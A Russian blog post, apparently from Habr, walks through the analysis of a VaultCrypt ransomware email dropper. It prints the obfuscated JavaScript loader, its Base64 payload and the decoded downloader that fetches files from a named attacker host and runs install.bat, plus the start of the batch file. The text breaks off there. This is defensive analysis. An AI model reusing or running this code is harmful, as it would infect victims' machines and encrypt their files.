Анализ одной из модификаций шифровальщика VaultCrypt

Привет, хаб!

На днях (примерно месяц назад) мне достался образец письма с троянцем, рассылаемого по электронной почте. Вообще я не являюсь профессионалом в анализе вредоносных файлов, но в данном случае оказалось, что простейший анализ можно провести и без глубоких знаний.

Раньше я такого не делал, так что мне стало интересно посмотреть, что же можно отсюда вытянуть. Под катом — разбор кода дроппера и исполняемого bat-файла.

TL; DR: под катом — практически построчный разбор довольно большого и муторного BAT-файла. Код, картинки, минимум мыслей.

ATTENTION: некоторые антивирусы (в частности, мой Avast!) очень негативно реагируют на приведенные фрагменты JS-кода. При включенном Avast! у меня вместо статьи отображалась пустая страница с сообщением «Соединение было сброшено». Учтите это, если захотите почитать.

NB:

В попытках понять, что происходит, я провел несколько экспериментов, в результате чего стал счастливым обладателем пятидесяти черновиков постов. И я слишком поздно осознал, что удалить на Хабре черновик невозможно.)

Итак, вначале было письмо. Текст письма был примерно таким: добрый день, пишет вам бухгалтер ООО «Копыта и рога», прошу вас ознакомиться с прилагаемым актом сверки.

К письму прикреплено вложение: zip-архив, внутри которого находится js-файл со следующим именем:

Акт сверки Июль. Оборотно-сальдовые данные по состоянию на 11.08. Необходимо согласовать в срочном порядке.dос .js


Вот как выглядело его содержимое:
//// uxqTUNgSeIQPIzvREL2BBpQKqgkAqK3RnG7HD15SZkPpEc3TNM
///// uxqTUNgSeIQPIzvREL2BBpQKqgkAqK3RnG7HD15SZkPpEc3TNM

eval(function(d, e, a, c, b, f) {
  b = function(a) {
    return (a < e ? "" : b(parseInt(a / e))) + (35 < (a %= e) ? String.fromCharCode(a + 29) : a.toString(36));
  };
  ///// 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
///// VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
  if (!"".replace(/^/, String)) {
    for (;a--;) {
      f[b(a)] = c[a] || b(a);
    }
  ///// 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
///// VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
    c = [function(a) {
      return f[a];
    }];
  ///// 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
///// VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
    b = function() {
      return "\\w+";
    };
    a = 1;
  }
  for (;a--;) {
    c[a] && (d = d.replace(new RegExp("\\b" + b(a) + "\\b", "g"), c[a]));
  }
  ///// 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
///// VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
  return d;
 ///// 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
///// VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
}
///// 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
///// VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
('4 3="%j%\\\\";5 7(a){k 8 e(a)}4 9=7("l.m"),3=9.n(3);5 f(a,d){4 b=8 7("o.p"),c=(8 e("q.r.6.0")).s("t");c.u="v.w";c.x=a;c=c.y;b.z=1;b.A();b.B(c);b.C(d,2);b.D()}5 g(a){9.E(a,0,0)}f("F=",""+3+"h.i");g(""+3+"h.i");', 42, 42, "   MT33 var function  CreateObject new JS02     ActiveXObject JS04 JS10 update js temp return WScript Shell ExpandEnvironmentStrings ADODB Stream Msxml2 DOMDocument createElement tmp dataType bin base64 text nodeTypedValue Type Open Write SaveToFile Close Run DQp2YXIgSlMwMz0iJXRlbXAlXFwiOw0KZnVuY3Rpb24gQ3JlYXRlT2JqZWN0KGIpe3JldHVybiBuZXcgQWN0aXZlWE9iamVjdChiKX0NCnZhciBKUzAyPUNyZWF0ZU9iamVjdCgiV1NjcmlwdC5TaGVsbCIpOw0KSlMwMz1KUzAyLkV4cGFuZEVudmlyb25tZW50U3RyaW5ncyhKUzAzKTsNCmZ1bmN0aW9uIGpqKGIsZCl7dmFyIGM9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5YTUxIVFRQIik7Yy5vcGVuKCJHRVQiLGIsMCk7Yy5zZW5kKCk7DQpuZXcgQWN0aXZlWE9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QiKTt2YXIgYT1uZXcgQWN0aXZlWE9iamVjdCgiQURPREIuU3RyZWFtIik7DQphLk9wZW4oKTthLlR5cGU9MTthLldyaXRlKGMuUmVzcG9uc2VCb2R5KTthLlBvc2l0aW9uPTA7YS5TYXZlVG9GaWxlKGQsMik7YS5DbG9zZSgpfQ0KamooJ2h0dHA6Ly9vcnV6aGtvdi5uZXQvZG9jLmNzcycsJycrSlMwMysnZG9jLmRvYycpOw0KZnVuY3Rpb24gSlMxMShKUzEyKXtKUzAyLlJ1bihKUzEyLDEsMCk7fQ0KdHJ5IHtKUzExKCcnK0pTMDMrJ2RvYy5kb2MnKTt9DQpjYXRjaChKUzAwNyl7fQ0KZnVuY3Rpb24gSlMxMChKUzEyKXtKUzAyLlJ1bihKUzEyLDAsMCk7fQ0KamooJ2h0dHA6Ly9vcnV6aGtvdi5uZXQvZGVzaWduLmNzcycsJycrSlMwMysnZGVzaWduLmNzcycpOw0KamooJ2h0dHA6Ly9vcnV6aGtvdi5uZXQvaW5zLmNzcycsJycrSlMwMysnaW5zdGFsbC5iYXQnKTsNCkpTMTAoJycrSlMwMysnaW5zdGFsbC5iYXQnKTs".split(" "), 
0, {}));
///// 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
///// VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
///// 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
///// VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY


Первый мой шаг был достаточно очевиден: убрать комментарии, которые, как видно, не несут никакой смысловой нагрузки. В данном случае файл небольшой, убрать комментарии можно вручную — или же можно воспользоваться регулярными выражениями. Например, во многих текстовых редакторах можно просто заменить на пустую строку все строки, подпадающие под шаблон ^\s*////.*\n (он выберет все строки, которые начинаются с четырех слешей).

На закуску можно добавить щепотку форматирования.

После этого получим следующее:
eval(function(d, e, a, c, b, f) {
  b = function(a) {
    return (a < e ? "" : b(parseInt(a / e))) + (35 < (a %= e) ? String.fromCharCode(a + 29) : a.toString(36));
  };

  if (!"".replace(/^/, String)) {
    for (;a--;) {
      f[b(a)] = c[a] || b(a);
    }
    c = [function(a) {
      return f[a];
    }];
    b = function() {
      return "\\w+";
    };
    a = 1;
  }

  for (;a--;) {
    c[a] && (d = d.replace(new RegExp("\\b" + b(a) + "\\b", "g"), c[a]));
  }

  return d;
}

('4 3="%j%\\\\";5 7(a){k 8 e(a)}4 9=7("l.m"),3=9.n(3);5 f(a,d){4 b=8 7("o.p"),c=(8 e("q.r.6.0")).s("t");c.u="v.w";c.x=a;c=c.y;b.z=1;b.A();b.B(c);b.C(d,2);b.D()}5 g(a){9.E(a,0,0)}f("F=",""+3+"h.i");g(""+3+"h.i");',
 42,
 42,
 "   MT33 var function  CreateObject new JS02     ActiveXObject JS04 JS10 update js temp return WScript Shell ExpandEnvironmentStrings ADODB Stream Msxml2 DOMDocument createElement tmp dataType bin base64 text nodeTypedValue Type Open Write SaveToFile Close Run DQp2YXIgSlMwMz0iJXRlbXAlXFwiOw0KZnVuY3Rpb24gQ3JlYXRlT2JqZWN0KGIpe3JldHVybiBuZXcgQWN0aXZlWE9iamVjdChiKX0NCnZhciBKUzAyPUNyZWF0ZU9iamVjdCgiV1NjcmlwdC5TaGVsbCIpOw0KSlMwMz1KUzAyLkV4cGFuZEVudmlyb25tZW50U3RyaW5ncyhKUzAzKTsNCmZ1bmN0aW9uIGpqKGIsZCl7dmFyIGM9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5YTUxIVFRQIik7Yy5vcGVuKCJHRVQiLGIsMCk7Yy5zZW5kKCk7DQpuZXcgQWN0aXZlWE9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QiKTt2YXIgYT1uZXcgQWN0aXZlWE9iamVjdCgiQURPREIuU3RyZWFtIik7DQphLk9wZW4oKTthLlR5cGU9MTthLldyaXRlKGMuUmVzcG9uc2VCb2R5KTthLlBvc2l0aW9uPTA7YS5TYXZlVG9GaWxlKGQsMik7YS5DbG9zZSgpfQ0KamooJ2h0dHA6Ly9vcnV6aGtvdi5uZXQvZG9jLmNzcycsJycrSlMwMysnZG9jLmRvYycpOw0KZnVuY3Rpb24gSlMxMShKUzEyKXtKUzAyLlJ1bihKUzEyLDEsMCk7fQ0KdHJ5IHtKUzExKCcnK0pTMDMrJ2RvYy5kb2MnKTt9DQpjYXRjaChKUzAwNyl7fQ0KZnVuY3Rpb24gSlMxMChKUzEyKXtKUzAyLlJ1bihKUzEyLDAsMCk7fQ0KamooJ2h0dHA6Ly9vcnV6aGtvdi5uZXQvZGVzaWduLmNzcycsJycrSlMwMysnZGVzaWduLmNzcycpOw0KamooJ2h0dHA6Ly9vcnV6aGtvdi5uZXQvaW5zLmNzcycsJycrSlMwMysnaW5zdGFsbC5iYXQnKTsNCkpTMTAoJycrSlMwMysnaW5zdGFsbC5iYXQnKTs".split(" "),
 0,
 {}));


Окей — стало получше, хоть и не сильно. :)

Что мы видим? Самой первой идет функция eval() — выполнить код. Какой код? Который вернет нам функция function(d, e, a, c, b, f). Откуда она берет параметры? А они указаны сразу после объявления функции. Все шесть штук — с a по f — в наличии:

('4 3="%j%\\\\";5 7(a) <....>,
 42,
 42,
 "   MT33 var function  CreateObject  <....>,
 0,
 {})


Повкуривав код пару минут, я неожиданно вспомнил, что мозгов-то у меня ведь и нет, и решил попробовать пойти по пути наименьшего сопротивления.

Видно, что обфусцированный код содержится в четвертом параметре. Вначале идут упоминания переменных и функций, а затем — довольно объемная «портянка» — похоже, закодированная в Base64.

Хм. А что, если…
ff2839a80f174744aa3f8c8c1994b60b.png


Bingo! У нас есть код. Прекрасный обфускатор использован, побольше бы таких. :)

NB:
Однако не всегда все так шоколадно. Буквально через несколько часов посыпалась другая рассылка: схожий текст письма, схожий js-файл во вложении —, но там уже был применен другой обфускатор, без сладкой халявы в виде Base64.
Если интересно — он выглядел так:
// 59d3ce34148c30ca34d7c7a66638ae5c0292edd4c9c022663364f87adf190adc
//// cb138ea5c1bfe3ab5c876e3cb1582344
///// 0292edd4c9c022663364f87adf190adccb138ea5c1bfe3ab5c876e3cb15823445
eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function()
// 59d3ce34148c30ca34d7c7a66638ae5c0292edd4c9c022663364f87adf190adc
///// 0292edd4c9c022663364f87adf190adccb138ea5c1bfe3ab5c876e3cb15823445
{return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1E 14=["\\18\\a\\I\\19\\A\\1y\\Z\\1y\\1l\\1l\\A\\15\\y\\a\\12\\U\\c\\V\\1s\\W\\a\\1t\\a\\g\\U\\c\\V\\1q\\18\\a\\G\\19\\12\\U\\A\\d\\M\\o\\A\\V\\1f\\I\\19\\G\\M\\n\\U\\I\\V\\15\\y\\a\\1d\\U\\c\\1f\\s\\V\\1s\\18\\a\\q\\19\\1t\\a\\12\\U\\A\\T\\M\\m\\A\\V\\1f\\b\\19\\U\\1t\\a\\g\\U\\A\\1r\\M\\L\\M\\1c\\M\\j\\A\\V\\V\\M\\R\\U\\A\\h\\A\\V\\15\\b\\M\\p\\19\\A\\O\\M\\P\\A\\15\\b\\M\\1a\\19\\c\\15\\b\\19\\b\\M\\f\\15\\q\\M\\u\\19\\16\\15\\q\\M\\10\\U\\V\\15\\q\\M\\1h\\U\\b\\V\\15\\q\\M\\v\\U\\s\\1f\\B\\V\\15\\q\\M\\Y\\U\\V\\1q\\y\\a\\X\\U\\c\\V\\1s\\G\\M\\N\\U\\c\\1f\\j\\1f\\j\\V\\1q\\1d\\U\\A\\17\\A\\1f\\A\\A\\1j\\I\\1j\\A\\D\\M\\i\\A\\V\\15\\X\\U\\A\\A\\1j\\I\\1j\\A\\D\\M\\i\\A\\V\\15","\\a","\\R\\m\\d\\i\\h","\\a\\a\\a\\k\\C\\I\\I\\a\\O\\c\\L\\a\\1d\\p\\n\\b\\h\\i\\T\\n\\a\\a\\v\\L\\g\\c\\h\\g\\1b\\q\\Z\\g\\b\\h\\a\\n\\g\\P\\a\\H\\Q\\j\\B\\a\\a\\a\\a\\a\\10\\b\\h\\i\\O\\g\\w\\1b\\q\\Z\\g\\b\\h\\a\\H\\Q\\j\\18\\a\\H\\Q\\16\\j\\a\\p\\m\\s\\c\\h\\g\\a\\Z\\R\\a\\h\\g\\o\\m\\a\\L\\g\\h\\p\\L\\n\\a\\x\\Q\\b\\L\\i\\m\\h\\a\\Q\\D\\g\\d\\d\\a\\N\\1a\\m\\c\\n\\s\\N\\n\\O\\i\\L\\T\\n\\o\\g\\n\\h\\Q\\h\\L\\i\\n\\X\\R\\a\\10\\Y\\1b\\Y\\1h\\a\\Q\\h\\L\\g\\c\\o\\a\\k\\R\\1a\\o\\d\\B\\a\\Y\\1b\\k\\Y\\T\\b\\p\\o\\g\\n\\h\\a\\b\\L\\g\\c\\h\\g\\N\\d\\g\\o\\g\\n\\h\\a\\h\\o\\m\\a\\s\\c\\h\\c\\C\\f\\m\\g\\a\\q\\i\\n\\a\\q\\c\\R\\g\\1c\\18\\a\\h\\g\\1a\\h\\a\\n\\T\\s\\g\\C\\f\\m\\g\\s\\r\\c\\d\\p\\g\\a\\C\\f\\m\\g\\a\\1b\\m\\g\\n\\a\\x\\L\\i\\h\\g\\a\\Q\\c\\O\\g\\C\\T\\17\\i\\d\\g\\a\\v\\d\\T\\R\\g\\a\\J\\p\\n\\a\\Y\\E\\m\\B\\z\\w\\11\\X\\Q\\d\\k\\P\\k\\u\\j\\i\\H\\w\\J\\d\\q\\w\\10\\d\\w\\17\\P\\i\\1b\\P\\j\\e\\l\\n\\r\\p\\z\\I\\J\\m\\q\\B\\18\\X\\E\\I\\H\\d\\z\\w\\J\\d\\C\\B\\H\\1r\\l\\x\\13\\j\\e\\t\\11\\m\\g\\I\\H\\d\\s\\1e\\r\\f\\q\\i\\1h\\p\\l\\w\\b\\X\\E\\x\\13\\j\\c\\w\\l\\d\\x\\N\\G\\i\\c\\o\\r\\Z\\s\\v\\D\\i\\e\\w\\j\\13\\v\\n\\l\\D\\b\\i\\1h\\e\\F\\u\\10\\f\\1k\\F\\13\\f\\l\\x\\17\\j\\l\\F\\G\\i\\c\\o\\r\\Z\\s\\v\\X\\i\\r\\16\\13\\Z\\b\\o\\d\\P\\s\\v\\y\\C\\c\\t\\r\\R\\q\\v\\11\\m\\1b\\P\\j\\e\\Q\\d\\k\\P\\k\\u\\16\\e\\F\\u\\10\\f\\K\\W\\r\\18\\b\\t\\17\\p\\l\\N\\r\\p\\s\\o\\d\\f\\q\\B\\y\\h\\l\\x\\y\\j\\F\\I\\J\\f\\c\\x\\y\\n\\b\\f\\D\\e\\F\\u\\10\\u\\e\\C\\R\\13\\v\\o\\l\\16\\q\\o\\13\\j\\c\\x\\G\\p\\11\\t\\m\\1r\\e\\t\\11\\R\\l\\v\\d\\12\\s\\o\\17\\f\\11\\t\\k\\G\\q\\o\\r\\I\\11\\N\\17\\Z\\s\\t\\d\\B\\l\\r\\D\\1k\\z\\o\\m\\d\\z\\I\\E\\T\\11\\W\\16\\C\\x\\N\\16\\k\\k\\i\\y\\z\\C\\F\\1a\\11\\r\\17\\J\\E\\11\\i\\W\\12\\z\\f\\y\\O\\b\\t\\r\\p\\e\\v\\H\\1e\\J\\r\\E\\i\\K\\t\\11\\R\\k\\v\\W\\12\\z\\f\\y\\u\\l\\x\\y\\W\\e\\v\\W\\12\\Y\\E\\m\\p\\l\\w\\b\\X\\E\\x\\13\\j\\c\\w\\l\\d\\x\\N\\G\\i\\c\\o\\r\\Z\\s\\v\\X\\i\\F\\B\\13\\f\\c\\w\\1h\\j\\c\\x\\y\\n\\K\\W\\l\\m\\q\\t\\r\\C\\g\\w\\13\\j\\l\\x\\16\\1k\\z\\o\\m\\d\\z\\I\\E\\i\\e\\C\\h\\B\\z\\w\\11\\X\\z\\C\\16\\p\\l\\w\\b\\X\\E\\x\\13\\j\\c\\w\\l\\d\\x\\N\\G\\i\\c\\o\\r\\Z\\s\\v\\X\\i\\E\\F\\J\\1k\\J\\N\\11\\p\\F\\I\\J\\f\\l\\x\\17\\h\\11\\i\\W\\12\\Y\\E\\m\\D\\K\\W\\G\\P\\l\\x\\18\\T\\e\\C\\h\\D\\K\\d\\J\\y\\b\\t\\F\\G\\k\\C\\h\\D\\K\\d\\s\\f\\c\\w\\J\\d\\e\\t\\k\\p\\F\\o\\r\\u\\b\\t\\G\\p\\b\\B\\r\\v\\q\\B\\J\\y\\e\\C\\h\\D\\K\\d\\1h\\O\\b\\B\\d\\j\\c\\x\\G\\p\\1k\\C\\10\\12\\z\\Q\\y\\C\\z\\w\\l\\d\\r\\t\\G\\t\\c\\x\\1a\\d\\e\\t\\E\\R\\k\\i\\W\\12\\z\\Q\\y\\Y\\q\\t\\G\\u\\l\\Q\\X\\m\\1d\\E\\j\\e\\c\\o\\T\\T\\H\\B\\D\\j\\s\\1e\\10\\1c\\K\\f\\G\\O\\b\\n\\r\\1c\\c\\t\\h\\O\\s\\i\\y\\p\\l\\w\\E\\O\\l\\t\\G\\Z\\K\\o\\13\\u\\b\\f\\b\\R\\H\\f\\b\\L\\Q\\d\\k\\P\\k\\f\\R\\n\\l\\t\\G\\Z\\K\\o\\J\\O\\z\\f\\b\\m\\1b\\P\\j\\e\\l\\n\\r\\p\\z\\I\\J\\m\\q\\B\\18\\X\\Q\\d\\k\\1a\\k\\Q\\D\\e\\F\\u\\N\\f\\e\\w\\h\\e\\F\\u\\10\\f\\K\\d\\H\\16\\q\\i\\D\\e\\F\\u\\N\\f\\K\\Y\\N\\R\\k\\v\\W\\12\\1d\\E\\j\\e\\s\\1e\\H\\y\\11\\1e\\h\\e\\F\\u\\N\\1a\\e\\v\\b\\n\\e\\j\\m\\C\\k\\Y\\k\\L\\H\\B\\J\\O\\z\\f\\y\\W\\q\\B\\k\\n\\e\\C\\h\\G\\Y\\E\\m\\Z\\z\\w\\J\\Z\\c\\v\\D\\e\\F\\u\\10\\P\\13\\f\\d\\12\\1d\\E\\j\\e\\l\\n\\r\\p\\z\\I\\J\\m\\q\\B\\18\\X\\Q\\d\\k\\1a\\k\\v\\D\\e\\F\\u\\N\\f\\e\\w\\h\\e\\F\\u\\10\\f\\K\\d\\H\\16\\q\\i\\D\\e\\F\\u\\N\\f\\K\\Y\\10\\R\\k\\v\\W\\12\\1d\\E\\j\\e\\c\\o\\T\\T\\H\\B\\D\\j\\s\\1e\\10\\1c\\K\\f\\G\\O\\b\\n\\r\\1c\\c\\t\\h\\O\\s\\i\\y\\p\\l\\w\\E\\O\\l\\t\\r\\u\\c\\x\\s\\p\\K\\o\\13\\u\\b\\f\\b\\R\\H\\f\\b\\L\\Q\\d\\k\\P\\k\\f\\R\\n\\l\\t\\r\\u\\c\\x\\s\\p\\K\\o\\13\\u\\b\\f\\b\\m\\1b\\P\\j\\e\\c\\o\\T\\T\\H\\B\\D\\j\\s\\1e\\10\\1c\\K\\f\\G\\O\\b\\n\\r\\1c\\c\\t\\h\\O\\s\\i\\y\\p\\l\\w\\E\\O\\c\\x\\y\\u\\k\\i\\y\\Z\\b\\I\\k\\n\\K\\v\\b\\n\\e\\j\\m\\C\\k\\Y\\k\\L\\H\\B\\d\\p\\b\\I\\J\\D\\q\\t\\P\\p\\z\\o\\17\\j\\H\\f\\W\\12\\Y\\E\\m\\e\\F\\u\\N\\P\\e\\v\\b\\n\\e\\j\\m\\C\\k\\Y\\k\\L\\H\\B\\d\\p\\b\\I\\J\\D\\q\\t\\P\\p\\z\\o\\17\\j\\H\\f\\W\\12","","\\1d\\L\\T\\o\\v\\D\\c\\L\\v\\T\\s\\g","\\L\\g\\m\\d\\c\\b\\g","\\1l\\P\\1j","\\1l\\q","\\X"];1F(1n(1m,1o,S,1i,1g,1u){1g=1n(S){1p(S<1o?14[4]:1g(1B(S/1o)))+(1C<(S%=1o)?1v[14[5]](S+1I):S.1A(1z))};1D(!14[4][14[6]](/^/,1v)){1x(;S--;){1u[1g(S)]=1i[S]||1g(S)};1i=[1n(S){1p 1u[S]}];1g=1n(){1p 14[7]};S=1};1x(;S--;){1i[S]&&(1m=1m[14[6]](1G 1H(14[8]+1g(S)+14[8],14[9]),1i[S]))};1p 1m}(14[0],1w,1w,14[3][14[2]](14[1]),0,{}));',62,107,'||||||||||x20|x63|x61|x6C|x4B|x79|x65|x74|x69|x30|x4D|x5A|x70|x6E|x6D|x75|x62|x56|x64|x47|x7A|x43|x58|x57|x35|x59|x22|x32|x54|x68|x51|x55|x39|x4A|x33|x52|x4C|x72|x2E|x45|x76|x77|x53|x73|_0x3283x3|x6F|x28|x29|x6B|x67|x44|x6A|x41|x49|x37|x4E|_0x32db|x3B|x31|x46|x34|x3D|x78|x4F|x36|x66|x48|x2C|_0x3283x5|x42|_0x3283x4|x2B|x50|x5C|_0x3283x1|function|_0x3283x2|return|x7D|x71|x7B|x38|_0x3283x6|String|42|for|x25|36|toString|parseInt|35|if|var|eval|new|RegExp|29'.split('|'),0,{})
  
// 59d3ce34148c30ca34d7c7a66638ae5c0292edd4c9c022663364f87adf190adc
//// cb138ea5c1bfe3ab5c876e3cb1582344
///// 0292edd4c9c022663364f87adf190adccb138ea5c1bfe3ab5c876e3cb15823445
)
// 59d3ce34148c30ca34d7c7a66638ae5c0292edd4c9c022663364f87adf190adc


Что же, это тоже легко можно расшифровать: открываем код в абсолютно любом текстовом редакторе, меняем eval() на console.log() и запускаем получившееся в JS-консоли броузера — например, в Firefox.

Само собой, такую же операцию можно провернуть и с исходным js-файлом из начала этой статьи.

Как-то так (кликабельно):
0566ac9bafc8481481bfdd3a1de9d9a4.png

В нижней части экрана — интересующий нас код.


Весь код записан в одну строку. Чтобы привести его в читаемое состояние, в данном случае можно просто заменить »;» (точку с запятой) на »;\n» (точку с запятой и перенос строки).

Ну и вновь приправить форматированием.

Код, раскодирующий и запускающий ядро дроппера:
var MT33 = "%temp%\\";

function CreateObject(a){
  return new ActiveXObject(a)
}
var JS02 = CreateObject("WScript.Shell"),
  MT33 = JS02.ExpandEnvironmentStrings(MT33);

function JS04(a, d){
  var b = new CreateObject("ADODB.Stream"),
    c = (new ActiveXObject("Msxml2.DOMDocument.6.0")).createElement("tmp");
  c.dataType = "bin.base64";
  c.text = a;
  c = c.nodeTypedValue;
  b.Type = 1;
  b.Open();
  b.Write(c);
  b.SaveToFile(d, 2);
  b.Close()
}

function JS10(a){
  JS02.Run(a, 0, 0)
}

JS04("DQp2YXIgSlMwMz0iJXRlbXAlXFwiOw0KZnVuY3Rpb24gQ3JlYXRlT2JqZWN0KGIpe3JldHVybiBuZXcgQWN0aXZlWE9iamVjdChiKX0NCnZhciBKUzAyPUNyZWF0ZU9iamVjdCgiV1NjcmlwdC5TaGVsbCIpOw0KSlMwMz1KUzAyLkV4cGFuZEVudmlyb25tZW50U3RyaW5ncyhKUzAzKTsNCmZ1bmN0aW9uIGpqKGIsZCl7dmFyIGM9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5YTUxIVFRQIik7Yy5vcGVuKCJHRVQiLGIsMCk7Yy5zZW5kKCk7DQpuZXcgQWN0aXZlWE9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QiKTt2YXIgYT1uZXcgQWN0aXZlWE9iamVjdCgiQURPREIuU3RyZWFtIik7DQphLk9wZW4oKTthLlR5cGU9MTthLldyaXRlKGMuUmVzcG9uc2VCb2R5KTthLlBvc2l0aW9uPTA7YS5TYXZlVG9GaWxlKGQsMik7YS5DbG9zZSgpfQ0KamooJ2h0dHA6Ly9vcnV6aGtvdi5uZXQvZG9jLmNzcycsJycrSlMwMysnZG9jLmRvYycpOw0KZnVuY3Rpb24gSlMxMShKUzEyKXtKUzAyLlJ1bihKUzEyLDEsMCk7fQ0KdHJ5IHtKUzExKCcnK0pTMDMrJ2RvYy5kb2MnKTt9DQpjYXRjaChKUzAwNyl7fQ0KZnVuY3Rpb24gSlMxMChKUzEyKXtKUzAyLlJ1bihKUzEyLDAsMCk7fQ0KamooJ2h0dHA6Ly9vcnV6aGtvdi5uZXQvZGVzaWduLmNzcycsJycrSlMwMysnZGVzaWduLmNzcycpOw0KamooJ2h0dHA6Ly9vcnV6aGtvdi5uZXQvaW5zLmNzcycsJycrSlMwMysnaW5zdGFsbC5iYXQnKTsNCkpTMTAoJycrSlMwMysnaW5zdGFsbC5iYXQnKTs=", "" + MT33 + "update.js");

JS10("" + MT33 + "update.js");


Код на удивление несложный: он получает путь к папке %temp%, затем раскодирует основную часть загрузчика (дроппера) из Base64 и помещает полученный код в файл %temp%\update.js. После этого вредоносный файл запускается на выполнение функцией WScript.Shell.Run().

P.S. Совершенно непонятно, зачем мы все это сейчас проделали — ведь у нас уже есть раскодированный код…

Ну ладно, пусть будет. :)

Итак, мы успешно раскодировали из Base64 основной код дроппера.

Узрим же его!
var JS03 = "%temp%\\";

function CreateObject(b){
return new ActiveXObject(b)
}

var JS02 = CreateObject("WScript.Shell");

JS03 = JS02.ExpandEnvironmentStrings(JS03);

function jj(b, d){
  var c = new ActiveXObject("MSXML2.XMLHTTP");
  c.open("GET", b, 0);
  c.send();
  new ActiveXObject("Scripting.FileSystemObject");
  var a = new ActiveXObject("ADODB.Stream");
  a.Open();
  a.Type = 1;
  a.Write(c.ResponseBody);
  a.Position = 0;
  a.SaveToFile(d, 2);
  a.Close()
}

jj('http://oruzhkov.net/doc.css','' + JS03 + 'doc.doc');

function JS11(JS12){
  JS02.Run(JS12, 1, 0);
}

try {
  JS11('' + JS03 + 'doc.doc');
}
catch(JS007){
}

function JS10(JS12){
  JS02.Run(JS12, 0, 0);
}

jj('http://oruzhkov.net/design.css','' + JS03 + 'design.css');

jj('http://oruzhkov.net/ins.css','' + JS03 + 'install.bat');

JS10(''+JS03+'install.bat');


Код, опять-таки, весьма несложный; единственное, что немного напрягает, — это непонятные имена переменных. Общий смысл происходящего таков:

  • создать объект WScript;
  • получить полный путь к папке %temp%;
  • скачать с сервера злоумышленника файл doc.doc и сохранить его под тем же именем в папку %temp%;
  • попытаться открыть doc.doc;
  • скачать с сервера злоумышленника файл design.css и сохранить его под тем же именем в папку %temp%;
  • скачать с сервера злоумышленника файл ins.css и сохранить его под именем install.bat в папку %temp%;
  • запустить install.bat.


Образцы скачиваемых файлов можно скачать непосредственно с официального сайта дистрибьютора (уже недоступен) или взять здесь (должно быть доступно ближайшие пару месяцев, потом сотрется; пароль к архиву — «virus»).

Файл doc.doc — это, похоже, обычный документ MS Word (по крайней мере, навскидку ничего вредоносного я в нем не нашел). После открытия пользователь увидит следующее:

Ваша версия Word устарела!
eac06cb2355e480c916dc6732beb567b.png


Файл design.css — это на самом деле gpg.exe, утилита для шифрования сообщений и файлов.

А файл ins.css (install.bat) — это собственно главный исполняемый файл троянца.

Исходное содержимое файла install.bat приведено под спойлером. Кода довольно много (примерно 850 строк), так что этот спойлер лучше вообще не открывать — дальше будет приведена укороченная версия.

Код (850 строк мути):
echo uxqTUNgSeIQPIzvREL2BBpQKqgkAqK3RnG7HD15SZkPpEc3TNM
echo uxqTUNgSeIQPIzvREL2BBpQKqgkAqK3RnG7HD15SZkPpEc3TNM

@ECHO OFF

echo 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
echo VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
SetLocal EnableDelayedExpansion
echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul
echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
cd "%TEMP%"
if not exist "%temp%\9480bf43.76a94786" (
echo b4Ga5r573nErUJaHejudevuRuTaChUbr >nul
echo BeQedRu54GUtra5aYEdeseTe2R4wruv6 >nul
echo 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
echo VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
echo 871c371d > "%temp%\9480bf43.76a94786"
echo b4Ga5r573nErUJaHejudevuRuTaChUbr >nul
echo BeQedRu54GUtra5aYEdeseTe2R4wruv6 >nul
attrib +s +h "%temp%\9480bf43.76a94786"
echo sPE3as8pHaResW583YuwrUdraz4fraFr >nul
) else (
echo wra7ap4ve3rezUCufRamAQeJUPaste4A >nul
echo fr8chADr8phubuca4atHu7ebrezeXuc8 >nul
echo 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
echo VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
goto 871c371d
)
rename "%temp%\design.css" "gpg.exe"
copy /y "%temp%\design.css" "%temp%\gpg.exe"
del /f /q "%temp%\design.css"
echo fr8chADr8phubuca4atHu7ebrezeXuc8 >nul
